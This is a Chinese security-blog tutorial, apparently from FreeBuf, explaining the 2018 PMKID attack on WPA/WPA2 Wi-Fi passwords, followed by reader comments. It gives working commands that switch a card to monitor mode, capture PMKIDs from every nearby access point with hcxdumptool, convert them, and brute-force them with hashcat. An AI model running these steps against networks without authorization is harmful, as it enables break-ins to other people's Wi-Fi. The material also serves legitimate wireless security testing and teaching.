握手包

技术分享 | 无需四次握手包破解WPA&WPA2密码

2018-08-15354323人围观 ,发现 6 个不明物体无线安全

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

知名密码破解软件Hashcat在2018年8月2日发布了4.2版本,这次版本更新的主要内容是增加了4个新的密码算法支持。 

image.png

其中的WPA-PMKID-PBKDF2算法,是为了支持一种新的WAP预共享密钥密码破解方法。

New attack on WPA/WPA2 using PMKID

根据Hashcat官方论坛文章介绍,作者在研究WPA3安全标准时,意外发现的使用PMKID破解WPA预共享密钥的方法,与现有的其它破解方法不同,该方法不再需要抓取完整的EAPOL四次握手包,只需要一个EAPOL帧中的RSN IE(Robust Security Network Information Element)即可。目前,作者尚不清楚该攻击方法对哪些路由器生效,但仍认为可以有效的攻击所有启用了漫游功能的802.11i/p/q/r网络(大部分较新的路由器都支持)。

该方法注意的优势如下:

1.攻击者直接与AP通信,无需普通用户参与(即“无客户端”攻击);

2.无需等待普通用户与AP完成四次握手;

3.无需重传EAPOL帧(重传可能导致无法破解);

4.无需普通用户发送无效密码;

5.不再会因为攻击者离AP或普通用户太远丢失EAPOL帧;

6.无需修复nonce和replaycounter值;

7.无需特定的输出格式,最终数据以16进制编码字符串呈现。

相关工具

该攻击方法需要用到以下几个工具:

1.hcxdumptool v4.2.0 or higher

2.用于抓包并保存为Hashcat破解可用的格式;

3.支持的无线网卡:

USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter

USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter

USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter

hcxtools v4.2.0 or higher

hashcat v4.2.0 or higher

实战演示

本次演示环境:

Kali 2018.3(Linux内核版本4.17) + Tenda W311M无线网卡(MT7601U)

编译安装相关工具

hcxdumptool

下载源码编译(使用root运行,Linux内核版本>=4.14)

https://github.com/ZerBea/hcxdumptool/archive/4.2.0.tar.gz

tarf -xvf 4.2.0.tar.gz
cd hcxdumptool-4.2.0
make && make install
# 编译完成后的工具均安装在/usr/local/bin/目录下

hcxtools

# 安装依赖软件包,解决编译报错
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
#下载源码编译(使用root运行)
wget https://github.com/ZerBea/hcxtools/archive/4.2.0.tar.gz
tar -xvf 4.2.0.tar.gz
cd hcxtools-4.2.0 
make && make install
# 编译完成后的工具均安装在/usr/local/bin/目录下。

Hashcat

官方提供已编译好的二进制文件,包含Windows及Linux版本,下载解压即可。

# 下载Hashcat 4.2
wget https://hashcat.net/files/hashcat-4.2.0.7z
# 解压
7z x hashcat-4.2.0.7z

PMKID介绍

RSN IE(Robust Security Network Information Element)是8.2.11管理帧中的一个可选字段,其中的一个信息元素就是PMKID。

image.pngPMKID使用HMAC-SHA1算法计算得到,密钥为PMK,数据部分由固定的字符串标签“PMK Name”、AP的MAC地址及基站的MAC地址拼接组成,计算公式如下:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

因为PMK和普通的四次握手中的相同,因此PMKID是一个理想的攻击向量,破解所需的所有信息都可以从接收到的AP第一个EAPOL帧中得到。

抓取PMKID

hcxdumptool可以从AP请求PMKID并保存接收到的数据帧到文件中(pcapng格式)。

# 使用网卡wlan0,开启Monitor模式,
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
# 查看可用的无线网卡
hcxdumptool -I
# 抓取管理帧和EAP/EAPOL帧,保存文件为pmkid.pacpng,开启状态显示
# 未添加AP过滤时,攻击端将对所有扫描到的AP发送协商请求。
hcxdumptool -o pmkid.pacpng -i wlan0 --enable_status

image.png

如果AP接受到攻击端的协商请求包并支持发送PMKID,过一会儿将看到“FOUND PMKID”的提示。

image.png由于Wifi信道干扰等原因,可能需要过一段时间才能接收到PMKID,在你放弃前,建议耐心的等上10分钟。

数据格式转换

抓取的PMKID后,使用hcxpcaptool工具转换成Hashcat支持的格式。

$ ./hcxpcaptool -z pmkid.16800 pmkid.pcapng

image.png

转换后的文件内容:

image.png以*符号分割的4列内容分别是:

1.PMKID

2.MAC AP

3.MAC Station

4.ESSID

通过MAC AP,可以查找到对应的WIFI名称。

image.png

密码破解

接下来,使用Hashcat破解抓取到的PMKID内容。

# 指定hash模式为16800,使用暴力破解方式,设置掩码为8个数字
hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?d?d?d?d?d?d?d?d'

image.png

顺利的话,你将看到这样的结果,密码破解成功:

image.png

相关链接

Hashcat v4.2.0 https://hashcat.net/forum/thread-7711.html

New attack on WPA/WPA2 using PMKID https://hashcat.net/forum/thread-7717.html

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 6 条评论

  • jin16879 (3级) 2018-08-15回复1楼

    授人以鱼不如授人以渔,我支持你的文章,写的很好

    亮了(0)
    • 小明 2018-08-15回复

      这是针对密码的暴力破解么?如果密码复杂度高,仍然需要大量时间爆破,或者依赖字典是么?就是说和之前的抓握手包暴力破解相比,在时间上没有很大差别是么?

      亮了(0)
      • Shad0wpf_ (4级)一个高尚的人,一个纯粹的人,一个脱离不了低级趣味的人。 2018-08-15回复

        @ 小明 相比抓握手包的最大优势在于,没有客户端连接到这个WIFI时,也可以破解密码。

        亮了(1)
  • CarthAir (1级) 2018-08-15回复2楼

    写的很好啊 :smile:

    亮了(0)
  • 华东交大别人家 2018-08-15回复3楼

    恩,wifi标准离死亡又近了一步,恩

    亮了(0)
  • jiyili 2018-08-15回复4楼

    实际上,这个漏洞对于家用路由来说,并没有什么卵用,一般的家用路由压根就不支持漫游,自然也就无法用这种方式来破解,挺鸡肋的一个漏洞!

    亮了(3)
表情插图

取消

css.php

Leave a Reply